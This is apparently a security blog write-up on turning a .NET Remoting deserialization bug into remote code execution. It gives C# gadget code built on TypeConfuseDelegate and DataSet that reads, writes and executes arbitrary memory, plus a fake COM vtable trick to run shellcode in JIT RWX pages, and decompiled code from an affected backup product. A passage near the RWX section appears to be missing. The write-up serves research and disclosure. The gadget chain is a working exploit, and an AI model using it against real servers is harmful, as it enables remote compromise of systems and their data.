

# Exploiting .NET Remoting with TypeFilterLevel Low and no MarshalByRef interfaces (English article) | Security Blog

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[image: Security Blog]

```
// Token: 0x06000A2F RID: 2607 RVA: 0x00020F04 File Offset: 0x0001F104
[DynamicallyInvokable]
public static bool ToBoolean(byte[] value, int startIndex)
{
    if (value == null)
    {
        throw new ArgumentNullException("value");
    }
    if (startIndex < 0)
    {
        throw new ArgumentOutOfRangeException("startIndex", Environment.GetResourceString("ArgumentOutOfRangeException_NeedNonNegNum"));
    }
    if (startIndex > value.Length - 1)
    {
        throw new ArgumentOutOfRangeException("startIndex", Environment.GetResourceString("ArgumentOutOfRangeException_Index"));
    }
    return value[startIndex] != 0;
}
```

# Exploiting .NET Remoting with TypeFilterLevel Low and no MarshalByRef interfaces (English article)

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## Description:

In 2020 there were some bugs reported to Microsoft related to .NET Remoting at [1]. One of the them is DoS bug in **BinaryServerFormatterSink::ProcessMessage** function (“intended behaviour” according to Microsoft). This DoS can actually be turned into Code Execution by changing the gadget (researchers used **Process.Start** gadget, which will cause a crash on unhandled exception because of *TypeFilterLevel=Low*).

We created an exploit that uses 4 different gadgets to touch/read/write/execute arbitrary memory. As .NET code uses JIT for executing MSIL code, we are abusing existing RWX pages in the process to place our shellcode and later execute it with the last gadget.

The only requirement for an attacker is availability of endpoint on which he can execute methods (we use **Object.Equals** with a specially crafted argument).

It seems not possible to mitigate this by changing the code of the methods exposed by interface as vulnerability is triggered before control reaches code of the server application. Vulnerability is triggered in the function that deserializes arguments for a remote call and since any exploitation attempt ends up with an exception, application gets no notification whatsoever.

Besides the obvious deserialization bug at *BinaryServerFormatterSink::ProcessMessage\** there is also missing **[SecuritySafeCritical]** attribute on functions from *\*Marshal* static class (despite exposing *unsafe* functions like arbitrary memory writing).

## Technical details

*TypeConfuseDelegate and DataSet wrapper for BinaryFormatter*

Let’s describe some details behind TypeConfuseDelegate used in the exploit which are important to understand what is happening on the server-side.

Example code (see ysoserial code at [2]):

```
Delegate da = new Comparison<Array>(String.Compare); Comparison<Array> d =  
(Comparison<Array>)MulticastDelegate.Combine(da, da); IComparer<Array> comp =  
Comparer<Array>.Create(d); SortedSet<string> set = new SortedSet<string>(comp);  
set.Add("calc.exe"); set.Add("dummy"); FieldInfo fi =  
typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic |  
BindingFlags.Instance); object[] invoke_list = d.GetInvocationList(); invoke_list[1] = new  
Func<string, Process>(Process.Start); fi.SetValue(d, invoke_list); return set;
```

In the code above **String.Compare** function is used for Comparator. `public static int String.Compare(string strA, string strB)`

This function is *merged* (by using **MulticastDelegate**) with a suitable (by signature) static function **Process.Start**.

```
public static Process Process.Start(string fileName)
```

Now if we create a `SortedSet<string>` which contains exactly two elements, at the moment of deserialization besides `String.Compare("calc.exe", "dummy")`, a second call `Process.Start("calc.exe", "dummy")` will be made.

*Notice:* If function has less arguments than the number of supplied ones, extra arguments are ignored.

Return value is important only for the first function and can be anything for a second function.

We can control only two arguments of the function and this arguments must have the same or castable type.

```
object TypeConfuseDelegateGadget_Assembly_Load(byte[] ASSEMBLY_BYTES) { Delegate
da = new Comparison<Array>(Array.IndexOf); Comparison<Array> d =
(Comparison<Array>)MulticastDelegate.Combine(da, da); IComparer<Array> comp =
Comparer<Array>.Create(d); SortedSet<Array> set = new SortedSet<Array>(comp);
set.Add(ASSEMBLY_BYTES); set.Add("dummy".ToCharArray()); FieldInfo fi =
typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic |
BindingFlags.Instance); object[] invoke_list = d.GetInvocationList(); invoke_list[1] = new
Func<byte[], Assembly>(Assembly.Load); fi.SetValue(d, invoke_list); return set; }
```

Here is another example which has different base type (**Array**) and Comparator(**Array.IndexOf**), allowing us to call `Assembly.Load` with `byte[]` serialized besides `SortedSet<Array>`.

Signatures:

```
public static int Array.IndexOf(Array array, object value) public static
System.Reflection.Assembly Assembly.Load (byte[] rawAssembly)
```

Effective actions on deserialization:

```
Array.IndexOf((Array)ASSEMBLY, (object)"dummy".ToCharArray())
Assembly.Load((byte[])ASSEMBLY, "dummy".ToCharArray())
```

Set has two objects (`byte[]` of assembly we want to pass to `Assembly.Load` and `"dummy"` of type `byte[]`), so Comparator (**MulticastDelegate**) will be called for them on deserialization.

It seems to be guaranteed that the first object in the `SortedSet` will be used as the first argument and the second object as the second argument accordingly.

---

To be able to deserialize our **SortedSet<Array>** (using `BinaryDeserializer`) at `TypeFilterLevel=Low` we need to additionally wrap it into one of the gadgets (classes that

implement **ISerializable**). In our case it is **DataSet**.

Serialized **DataSet** can force remote application to deserialize arbitrary **BinaryFormatter** byte string while deserializing the **DataSet** object itself. You can see its usage in ysoserial at [3].

So, the final payload will look like: `DataSet(BinaryFormatter(SortedSet<Array>))`

Code:

```
object DataSet_Wrap(object obj) { BinaryFormatter fmt = new BinaryFormatter();
MemoryStream ms = new MemoryStream(); fmt.Serialize(ms, obj); return new
DataSetMarshal(ms); }
```

As we cannot return any value from the server directly (any successful call to **MulticastDelegate** will generate *InvalidCastException*), we are going to make an oracle based on unsuccessful/successful calls (and exceptions they return).

## Improvement of the TypeConfuseDelegate gadget with DynamicInvoke (memory touch gadget)

Because of limitations the original TypeConfuseDelegate has, we need to modify it to support more than two controlled arguments. Instead of calling the target function directly we make another **Delegate** instance which is going to be serialized inside **MulticastDelegate**.

```
object TypeConfuseDelegateGadget_TouchMem(IntPtr addr) { Delegate da = new
Comparison<Array>(Array.IndexOf); Delegate[] sd = { da, da }; Comparison<Array> d =
(Comparison<Array>)MulticastDelegate.Combine(sd); IComparer<Array> comp =
Comparer<Array>.Create(d); SortedSet<Array> set = new SortedSet<Array>(comp);
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic |
BindingFlags.Instance); object[] invoke_list = d.GetInvocationList(); Delegate
_ReadByteDelegate = new Func<IntPtr, byte>(Marshal.ReadByte); Object[] _args1 = {
(IntPtr)addr }; set.Add(_args1); set.Add(_args1); // not used invoke_list[1] = new
Func<object[], object>(_ReadByteDelegate.DynamicInvoke); fi.SetValue(d, invoke_list);
return set; }
```

Signatures:

```
public static int Array.IndexOf(Array array, object value) public object
Delegate.DynamicInvoke(params object[] args) public static byte Marshal.ReadByte (IntPtr
ptr)
```

Effective actions on deserialization:

```
ARGUMENT = new Object[] { (IntPtr)addr } Array.IndexOf((Array)ARGUMENT,
(object)ARGUMENT) (new Func<IntPtr, byte>
(Marshal.ReadByte)).DynamicInvoke(ARGUMENT, ARGUMENT)
```

In this example we are calling **Marshal.ReadByte** with *IntPtr* argument to test memory for READ access.

Since this function has proper exception handling we are going to get `System.AccessViolationException` inside **Marshal.ReadByte** and the application will NOT crash in case of inaccessible address.

On successful touch `System.InvalidCastException` occurs when **DataSet** object finishes deserialization of **SortedSet<Array>** and realizes that it cannot cast **SortedSet<Array>** to **System.Data.DataTable**.

Stack trace on successful touch:

A: System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. —> System.InvalidCastException: Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.Array]' to type 'System.Data.DataTable'.  
at System.Data.DataSet.DeserializeDataSetSchema(SerializationInfo info, StreamingContext context, SerializationFormat remotingFormat, SchemaSerializationMode schemaSerializationMode) at System.Data.DataSet..ctor(SerializationInfo info, StreamingContext context, Boolean ConstructSchema) at System.Data.DataSet..ctor(SerializationInfo info, StreamingContext context) — End of inner exception stack trace —

Server stack trace:

at System.RuntimeMethodHandle.SerializationInvoke(IRuntimeMethodInfo method, Object target, SerializationInfo info, StreamingContext& context) at System.Runtime.Serialization.ObjectManager.CompleteISerializableObject(Object obj, SerializationInfo info, StreamingContext context) at System.Runtime.Serialization.ObjectManager.FixupSpecialObject(ObjectHolder holder) at System.Runtime.Serialization.ObjectManager.DoFixups() at System.Runtime.Serialization.Formatters.Binary.ObjectReader.Deserialize(HeaderHandler handler, \_\_BinaryParser serParser, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage) at System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream, HeaderHandler handler, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage) at System.Runtime.Remoting.Channels.CoreChannel.DeserializeBinaryRequestMessage(String objectUri, Stream inputStream, Boolean bStrictBinding, TypeFilterLevel securityLevel) at System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders, Stream& responseStream)

Stack trace on BAD memory touch:

B: System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. —> System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. —> System.AccessViolationException: Attempted to read or write protected memory. This is often an indication that other memory is corrupt.  
at System.Runtime.InteropServices.Marshal.ReadByte(IntPtr ptr, Int32 ofs) — End of inner exception stack trace — at System.RuntimeMethodHandle.InvokeMethod(Object target,

Object[] arguments, Signature sig, Boolean constructor) at  
System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(Object obj, Object[]  
parameters, Object[] arguments) at System.Delegate.DynamicInvokeImpl(Object[] args) at  
System.Comparison`1.Invoke(T x, T y) at  
System.Collections.Generic.SortedSet`1.AddIfNotPresent(T item) at  
System.Collections.Generic.SortedSet`1.OnDeserialization(Object sender) at  
System.Runtime.Serialization.ObjectManager.RaiseDeserializationEvent() at  
System.Runtime.Serialization.Formatters.Binary.ObjectReader.Deserialize(HeaderHandler  
handler, \_\_BinaryParser serParser, Boolean fCheck, Boolean isCrossAppDomain,  
IMethodCallMessage methodCallMessage) at  
System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream  
serializationStream, HeaderHandler handler, Boolean fCheck, Boolean isCrossAppDomain,  
IMethodCallMessage methodCallMessage) at  
System.Data.DataSet.DeserializeDataSetSchema(SerializationInfo info, StreamingContext  
context, SerializationFormat remotingFormat, SchemaSerializationMode  
schemaSerializationMode) at System.Data.DataSet..ctor(SerializationInfo info,  
StreamingContext context, Boolean ConstructSchema) at  
System.Data.DataSet..ctor(SerializationInfo info, StreamingContext context) — End of  
inner exception stack trace —

Server stack trace:

at System.RuntimeMethodHandle.SerializationInvoke(IRuntimeMethodInfo method, Object  
target, SerializationInfo info, StreamingContext& context) at  
System.Runtime.Serialization.ObjectManager.CompleteISerializableObject(Object obj,  
SerializationInfo info, StreamingContext context) at  
System.Runtime.Serialization.ObjectManager.FixupSpecialObject(ObjectHolder holder) at  
System.Runtime.Serialization.ObjectManager.DoFixups() at  
System.Runtime.Serialization.Formatters.Binary.ObjectReader.Deserialize(HeaderHandler  
handler, \_\_BinaryParser serParser, Boolean fCheck, Boolean isCrossAppDomain,  
IMethodCallMessage methodCallMessage) at  
System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream  
serializationStream, HeaderHandler handler, Boolean fCheck, Boolean isCrossAppDomain,  
IMethodCallMessage methodCallMessage) at  
System.Runtime.Remoting.Channels.CoreChannel.DeserializeBinaryRequestMessage(String  
objectUri, Stream inputStream, Boolean bStrictBinding, TypeFilterLevel securityLevel) at  
System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(IServerC  
hannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders,  
Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders,  
Stream& responseStream)

## Write memory gadget

```
public static void WriteByte (IntPtr ptr, byte val);
```

Pretty much like touch, but function now has 2 arguments:

```

Delegate da = new Comparison<Array>(Array.IndexOf); Delegate[] sd = { da, da };
Comparison<Array> d = (Comparison<Array>)MulticastDelegate.Combine(sd);
IComparer<Array> comp = Comparer<Array>.Create(d); SortedSet<Array> set = new
SortedSet<Array>(comp); FieldInfo fi =
typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic |
BindingFlags.Instance); object[] invoke_list = d.GetInvocationList(); Delegate _WriteByte =
new Action<IntPtr, byte>(Marshal.WriteByte); Object[] _args1 = { (IntPtr)addr, (byte)val };
set.Add(_args1); set.Add(_args1); // not used invoke_list[1] = new Func<object[], object>
(_WriteByte.DynamicInvoke); fi.SetValue(d, invoke_list); return set;

```

Signature:

```
public static void Marshal.WriteByte(IntPtr ptr, byte val)
```

Successful write exception: System.InvalidCastException Unsuccessful write exception:  
System.AccessViolationException

## Execute memory gadget

Signature:

```
public static int Marshal.AddRef (IntPtr pUnk);
```

We can achieve code execution by abusing **Marshal.AddRef** function which is wrapper for **IUnknown::AddRef**. We basically just need to build a fake COM object with a VTable that has a AddRef method and pass it to **Marshal.AddRef**.

```

struct IUnknown_vtbl { HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,
LPVOID* ppv ); ULONG STDMETHODCALLTYPE AddRef(); ULONG STDMETHODCALLTYPE
Release(); }; struct IUnknown { IUnknown_vtbl* vtbl; };

```

Let's imagine that RWX memory is located at 0xAAAA0000. We will start building a fake COM object at 0xAAAA0100, and its VTable will be placed at 0xAAAA0200. The memory we want to execute is ready at 0xAAAA0300. So, our actions can be simplified to the following pseudocode:

```

WriteQWORD(0xAAAA0100, 0xAAAA0200) WriteQWORD(0xAAAAA200 + 8, 0xAAAA0300)
Marshal.AddRef(0xAAAA0100)

```

Application state will be corrupted after this action, so our code should not return control to back to .NET. On successful exploitation we will get neither exception nor timeout (exploit will wait for result forever, or until target application terminates).

## Read memory gadget

This gadget requires some trickery, as we cannot directly return anything besides exception. Luckily for us there is **BitConverter.ToBoolean** function.

```
// Token: 0x06000A2F RID: 2607 RVA: 0x00020F04 File Offset: 0x0001F104
[__DynamicallyInvokable]
public static bool ToBoolean(byte[] value, int startIndex)
{
    if (value == null)
    {
        throw new ArgumentNullException("value");
    }
    if (startIndex < 0)
    {
        throw new ArgumentOutOfRangeException("startIndex", Environment.GetResourceString("ArgumentOutOfRangeException_NeedNonNegNum"));
    }
    if (startIndex > value.Length - 1)
    {
        throw new ArgumentOutOfRangeException("startIndex", Environment.GetResourceString("ArgumentOutOfRangeException_Index"));
    }
    return value[startIndex] != 0;
}
```

From the first look, it is hard to tell how we can READ memory with it, as it only returns boolean value for a byte in array being ZERO or anything else.

Here we need to understand how **byte[]** type is represented in memory by .NET or, precisely, where the *Length* value is stored. Simply enough it is stored at +0x8 from the pointer to **byte[]**.

```
struct byte_array_t { void* ptr; int32_t Length; // +0x8 };
```

If the pointer to **byte[]** has the value 0xAAAAAA00, array length is stored at 0xAAAAAA08 as signed int32 (value in range of 0 to 0x7fffffff, excluding negative numbers)

To understand how to use this information we need to look at examples (follow code flow of **BitConverter.ToBoolean** in the picture shown before).

Let memory at 0xAAAAAA08 had a DWORD value of 100

```
BitConverter.ToBoolean (0xAAAAAA00, 99) (value=0xAAAAAA00) == null | FALSE
(startIndex=99) < 0 | FALSE (startIndex=99) > (value.Length=100) - 1 | FALSE value[99] |
-> System.AccessViolationException or SUCCESSFUL READ (System.InvalidCastException)
```

```
BitConverter.ToBoolean (0xAAAAAA00, 100) (value=0xAAAAAA00) == null | FALSE
(startIndex=100) < 0 | FALSE (startIndex=100) > (value.Length=100) - 1 | TRUE ->
System.ArgumentOutOfRangeException
```

```
BitConverter.ToBoolean (0xAAAAAA00, 101) (value=0xAAAAAA00) == null | FALSE
(startIndex=101) < 0 | FALSE (startIndex=101) > (value.Length=100) - 1 | TRUE ->
System.ArgumentOutOfRangeException
```

*Notice:* We speak of x64 process. x86 will have a little bit different offsets.

To read a DWORD in this case we need to use a binary search and make guesses until a change between System.ArgumentOutOfRangeException exception and any other exception occur. int ReadMemory\_Int32(IntPtr addr)

```
int ReadMemory_Int32(IntPtr addr) { int left = 0; int right = 0x7fffffff; while (left < right) {
int mid = left + (right - left) / 2; int st = ReadInt32_Cmp(addr, mid); if (st == -1) left = mid
+ 1; else right = mid; } return left; }
```

It might not always be possible to read Int32 if it has negative value. But we can minimize bad cases by wrapping this function into BYTE reader as in follow code:

```
Byte ReadMemory_BYTE(IntPtr addr) { int val; val = ReadMemory_Int32(addr - 0); if (val !=
0 && val != 0x7fffffff) return (byte)(val >> 0); val = ReadMemory_Int32(addr - 1); if (val
```

```
!= 0 && val != 0x7fffffff) return (byte)(val >> 8); val = ReadMemory_Int32(addr - 2); if
(val != 0 && val != 0x7fffffff) return (byte)(val >> 16); val = ReadMemory_Int32(addr - 3);
if (val != 0 && val != 0x7fffffff) return (byte)(val >> 24); return 0; }
```

Signatures:

```
public static ulong Math.Max(ulong val1, ulong val2) public static bool
BitConverter.ToBoolean (byte[] value, int startIndex);
```

Gadget code:

```
object TypeConfuseDelegateGadget_TestMem(IntPtr addr, int TryVal) { Delegate da = new
Comparison<Array>(Array.IndexOf); Delegate[] sd = { da, da }; Comparison<Array> d =
(Comparison<Array>)MulticastDelegate.Combine(sd); IComparer<Array> comp =
Comparer<Array>.Create(d); SortedSet<Array> set = new SortedSet<Array>(comp);
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic |
BindingFlags.Instance); object[] invoke_list = d.GetInvocationList();

// Will read ((int)x+0x8) on x64 Object[] _args1 = { (ulong)(addr - 8), (ulong)TryVal };
set.Add(_args1); set.Add(_args1); // not used Delegate da2 = new Func<ulong, ulong,
ulong>(Math.Max); Delegate[] sd2 = { da2, da2 }; Func<ulong, ulong, ulong> d2 =
(Func<ulong, ulong, ulong>)MulticastDelegate.Combine(sd2);

FieldInfo fi2 = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic
| BindingFlags.Instance); object[] invoke_list2 = d2.GetInvocationList(); invoke_list2[1] =
new Func<byte[], int, bool>(BitConverter.ToBoolean); fi2.SetValue(d2, invoke_list2);

invoke_list[1] = new Func<object[], object>(d2.DynamicInvoke); fi.SetValue(d, invoke_list);

return set; }
```

*Notice:* I had to use **MulticastDelegate** merging **Math.Max** and **BitConverter.ToBoolean** calls because there was a problem with storing arguments with correct type in **Object[]**.

Correct guess exception: System.InvalidCastException Wrong guess exception:  
System.ArgumentOutOfRangeException Wrong guess / Bad memory exception:  
System.AccessViolationException

## Locating JIT pages with RWX permissions

At this point we can read, write and execute arbitrary memory of target process.

The last challenge for exploitation is finding memory where we can prepare a shellcode for execution.

Lets look at the first 32 bytes of pages that belong to .NET JIT.



we decided to mention this case.

```
private CSrvTcpChannelRegistration(string channelName, int port, CSrvTcpChannelOptions options)
{
    this.m_channelName = channelName;
    this.m_port = port;
    Log.Message("Registering TCP server channel [{0}]. Port: [{1}]", new object[]
    {
        channelName,
        port
    });
    IServerChannelSinkProvider sinkProvider = CSrvTcpChannelRegistration.GetSinkProvider();
    IDictionary dictionary = new Dictionary<string, string>();
    dictionary["name"] = channelName;
    dictionary["port"] = port.ToString();
    dictionary["authenticationMode"] = options.AuthenticationMode;
    dictionary["secure"] = "true";
    if (options.UseIpAddressSpecified)
    {
        dictionary["useIpAddress"] = options.UseIpAddress;
    }
    else if (!this.CanUseIpAddressInChannelUri())
    {
        Log.Message("Using machine name in channel URIs", new object[0]);
        dictionary["useIpAddress"] = "false";
    }
    if (options.MachineNameSpecified)
    {
        dictionary["machineName"] = options.MachineName;
    }
    TcpServerChannel tcpServerChannel = new TcpServerChannel(dictionary, sinkProvider);
    tcpServerChannel.IsSecured = true;
    ChannelServices.RegisterChannel(tcpServerChannel, true);
    IChannelDataStore channelDataStore = tcpServerChannel.ChannelData as IChannelDataStore;
}
```

*Registration of custom SinkProvider:*

```
// Token: 0x06000089 RID: 185 RVA: 0x0000442C File Offset: 0x0000262C
private static BinaryFormatter CreateFormatter(bool serializingResponse)
{
    BinaryFormatter binaryFormatter = new BinaryFormatter();
    binaryFormatter.Binder = new RestrictedSerializationBinder(serializingResponse, RestrictedSerializationBinder.Modes.FilterByWhitelist);
    binaryFormatter.Context = new StreamingContext(StreamingContextStates.Other);
    binaryFormatter.FilterLevel = TypeFilterLevel.Low;
    binaryFormatter.AssemblyFormat = FormatterAssemblyStyle.Full;
    if (serializingResponse)
    {
        ISurrogateSelector surrogateSelector = new RemotingSurrogateSelector();
        binaryFormatter.SurrogateSelector = surrogateSelector;
    }
    return binaryFormatter;
}
```

*Registration of custom BinaryFormatter*

```
// Token: 0x06000435 RID: 1077 RVA: 0x0000C8DD File Offset: 0x0000AADD
public override void BindToName(Type serializedType, out string assemblyName, out string typeName)
{
    RestrictedSerializationBinder.CheckIsRestrictedType(serializedType);
    base.BindToName(serializedType, out assemblyName, out typeName);
}

// Token: 0x06000436 RID: 1078 RVA: 0x0000C8EE File Offset: 0x0000AAEE
protected override Type ResolveType(string assemblyName, string typeName)
{
    this.EnsureTypeIsAllowed(assemblyName, typeName);
    Type type = base.ResolveType(assemblyName, typeName);
    RestrictedSerializationBinder.CheckIsRestrictedType(type);
    return type;
}

// Token: 0x06000437 RID: 1079 RVA: 0x0000C908 File Offset: 0x0000AB08
private void EnsureTypeIsAllowed(string assemblyName, string typeName)
{
    if (!this._serializingResponse && SOptions.Instance.WhitelistingRemoting)
    {
        this.EnsuredBlackWhitelistsAreLoaded();
        string afqn = typeName + ", " + assemblyName;
        if (this._mode == RestrictedSerializationBinder.Modes.FilterByWhitelist)
        {
            RestrictedSerializationBinder._allowedTypeFullnames.EnsureIsAllowed(afqn);
            return;
        }
        if (this._mode == RestrictedSerializationBinder.Modes.FilterByBlacklist)
        {
            RestrictedSerializationBinder._notAllowedTypeFullnames.EnsureIsAllowed(afqn);
        }
    }
}

```

*RestrictedSerializationBinder implementation:*

```
Veeam.Backup.Common.Sources.System... X
1 # Description: All used assembly qualified type names
2 # Types: 204
3 # -----
4 System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
5 System.Byte, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
6 System.Char, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
7 System.Collections.Concurrent.ConcurrentDictionary`2, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
8 System.Collections.Generic.ByteEqualityComparer, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
9 System.Collections.Generic.Dictionary`2+Enumerator, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
10 System.Collections.Generic.Dictionary`2+KeyCollection+Enumerator, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
11 System.Collections.Generic.Dictionary`2+KeyCollection, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
12 System.Collections.Generic.Dictionary`2+ValueCollection+Enumerator, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
13 System.Collections.Generic.Dictionary`2+ValueCollection, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
14 System.Collections.Generic.Dictionary`2, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
15 System.Collections.Generic.EnumEqualityComparer`1, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
16 System.Collections.Generic.EqualityComparer`1, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
17 System.Collections.Generic.GenericEqualityComparer`1, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
18 System.Collections.Generic.HashSet`1+Enumerator, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
19 System.Collections.Generic.HashSet`1, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
20 System.Collections.Generic.IReadOnlyDictionary`2, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
21 System.Collections.Generic.IReadOnlyList`1, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
22 System.Collections.Generic.KeyValuePair`2, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
23 System.Collections.Generic.List`1+Enumerator, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
24 System.Collections.Generic.List`1+SynchronizedList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
25 System.Collections.Generic.List`1, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
26 System.Collections.Generic.LongEnumEqualityComparer`1, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
27 System.Collections.Generic.ObjectEqualityComparer`1, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
28 System.Collections.Generic.Queue`1+Enumerator, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
29 System.Collections.Generic.Queue`1, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
30 System.Collections.Generic.SByteEnumEqualityComparer`1, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
31 System.Collections.Generic.ShortEnumEqualityComparer`1, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
32 System.DBNull, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
33 System.Data.SqlDbType, System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
34 System.DateTime, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
35 System.Decimal, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089

```

*Deserialization whitelist (partially):*

**[Summary]()**

As you can see, even with TypeFilterLevel=Low and no **MarshalByRef** interfaces (required for original James Forshaw's exploit) we can achieve code execution.

.NET Remoting is long deprecated functionality that should not be used by any application that can be accessed and abused by attacker.

There are more ways of exploitation besides described method, for example newest research at [4].

We also contacted Microsoft and got a confirmation that this is known problem in discontinued software. Official recommendation is to port you software to WCF. Related documentation is available at [7].

## [Resources]()

[1] [MZ-20-03 – New security advisory regarding vulnerabilities in .Net](#)

[2] [TypeConfuseDelegateGenerator.cs](#)

[3] [DataSetGenerator.cs](#)

[4] [.NET Remoting Revisited](#)

[5] [ABC-Code Execution for Veeam](#)

6 [\[ExploitRemotingService](#)

[7] [migrating-from-net-remoting-to-wcf](#)

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You can look at a sample report showing the vulnerabilities found in a security assessment, with their concrete details, how to reproduce them, the risk, and how to fix them.

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